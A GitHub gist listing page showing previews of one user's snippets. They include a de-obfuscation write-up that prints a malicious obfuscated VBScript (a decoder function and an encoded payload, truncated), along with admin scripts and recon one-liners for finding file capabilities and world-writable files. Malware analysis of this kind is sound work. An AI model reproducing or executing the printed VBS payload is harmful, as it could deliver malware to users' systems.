Skip to content

Instantly share code, notes, and snippets.

View CrazyLlama's full-sized avatar

Brett CrazyLlama

12 followers · 29 following
View GitHub Profile
@CrazyLlama
CrazyLlama / De-obfuscation_23.07.20.md
Last active July 23, 2020 19:40

De-obfuscation 23/07/2020

The raw script malicious.vbs

Private Function BysqAEwmfD(zEx) : If Len(zEx) < 5 Then : a = "" : Exit Function : End If : Dim p : zEx = Mid(zEx,3,Len(zEx)-4) : For i=2 To Len(zEx) Step 2 : xehFDCC = Asc(Mid(zEx,i,1)) + 10 : If xehFDCC > 126 Then : xehFDCC = xehFDCC - 126 + 33 - 1 : End If : j=Chr(xehFDCC) : If j = "~" Then : j=" " : End If : p = p & j : Next : BysqAEwmfD = p : End Function : BnjBhzaGjEs = BysqAEwmfD("}H6Iv[7j~tci.[phYlt_nY9[/t*3rtH91hl[]W^j|[3EDXw`{[&YWj:|CvjInYN^([hZkk,bm[w$QI\[NhTlv_rYr[HvO}gtL0&tNY:W`bDb~t]i.[KhUlj_JY^[y$!9yevd*d|[{YBjN|u}/t+0Tt#:,_DcMt=jBWhi:a?:B[q\z_Vd~_(j+_oe3det_0ytmI>[rjatgj0WVi'aE:5[i\`_3d+_@jM_]eTd#tb3=tkik[(h=lX_:Y=[v$1DS[bmKJ]W,i3aJ|Q&>}Rt|tS0[tcjDWliXa_:)[(\j_=dl_Aj&_Yeqd\$'H+[r]/_(iaj^hUWujE_>eTd6?cd`\de,$"":x[YikY=hN_#fWj%_,e^d9tR3HtrvSj0WAilan:>[2ibY6v0t^0Itqj~W=iHa>:S[/\^_Ldi_Zj#_KepdU$uIz[:jkj{_cdC]\i=$=;}dpWdX-bK[fZ>te3ktZJ>h5k.[?t-0.tOj8WfiGaY:D[5\]_7df_UjZ_[e!dk$%I*[Gj<j__.dr]BiD$RIEj#WshijdM1^A[rd17olPW4_rbiW
@CrazyLlama
CrazyLlama / really_annoying_on_macs.sh
Created May 28, 2020 09:19
#!/bin/sh
say -v Karen "theee"
say -v Daniel "eeeeee"
say -v Alex "eeeeee"
say -v Tessa "eeeeee"
@CrazyLlama
CrazyLlama / test_network_connectivity.ps1
Created May 28, 2020 09:11
## Using Test-Connection, test connectivity to the internet using the following as subjects: ##
## 8.8.8.8
## http://google.com
## https://google.com
## Find and replace XXXX with your choice of internal DNS name :)
##
function UX-Pause {
Write-Progress -Activity "Testing Connection" -SecondsRemaining 3
Start-Sleep 1
@CrazyLlama
CrazyLlama / Check those capabilities
Created September 6, 2018 13:27
for filename in `ls -l . | awk '{print $9}'`; do getcap $filename; done
@CrazyLlama
CrazyLlama / HP_Removal.ps1
Created May 29, 2018 10:38
<#
.SYNOPSIS
Uninstall HP Data Protector if it exists
.INPUTS
Path for:
# HP Data Protector
.OUTPUTS
Console output - Currently
.NOTES
Version: 1.0
@CrazyLlama
CrazyLlama / Bad_ips.py
Created May 16, 2018 21:41
#/usr/bin/python
# Lets get those evil IPS!
# If you’re using Linux or BSD systems, check your favourite package repository for python-celementtree or py-celementtree packages
#
# Aggregation of bad IPs is what this is after, and that's what I'll make it do
#
import xml.etree.cElementTree as ET
import numpy as np
import sys
@CrazyLlama
CrazyLlama / AD-details.ps1
Last active May 28, 2020 09:22
<#
.SYNOPSIS
Pull the following from the DC:
# Local Time
# Desktop settings
# BIOS info
# Installed hotfixes
# Operating System Version Information
# Local Users and owner
# All services on local machine
@CrazyLlama
CrazyLlama / sqlite.ps1
Last active March 4, 2022 14:11
<#
.SYNOPSIS
sqlite.ps1 - Install, run, and uninstall sqlite for all you hacky needs.
.OUTPUTS
Should be no outputs other than what is generated in the sqlite session.
.EXAMPLE
.\sqlite.ps1 - _Runs the script_
.NOTES
Underscores denote sarcasm
#>
@CrazyLlama
CrazyLlama / config_files
Last active March 10, 2018 23:54
Checking config files
## Linux ##
## Typically this is the /etc/ directory but software may have it's own /etc/ subdirectory or config files
# https://goo.gl/9iivgP
##########################################
## Windows ##
## This is completely dependent on the affected product and it's best to search the documentation of the affected software in order to locate it
@CrazyLlama
CrazyLlama / writeable
Created December 1, 2017 15:35
Find world writeable files
## Linux ##
## Find all writable files/directories in the current directory for the current user - watch out for NFS UID mapping (or root-squashing)
# find . -writable
##############################################
## Windows ##
## Source: ##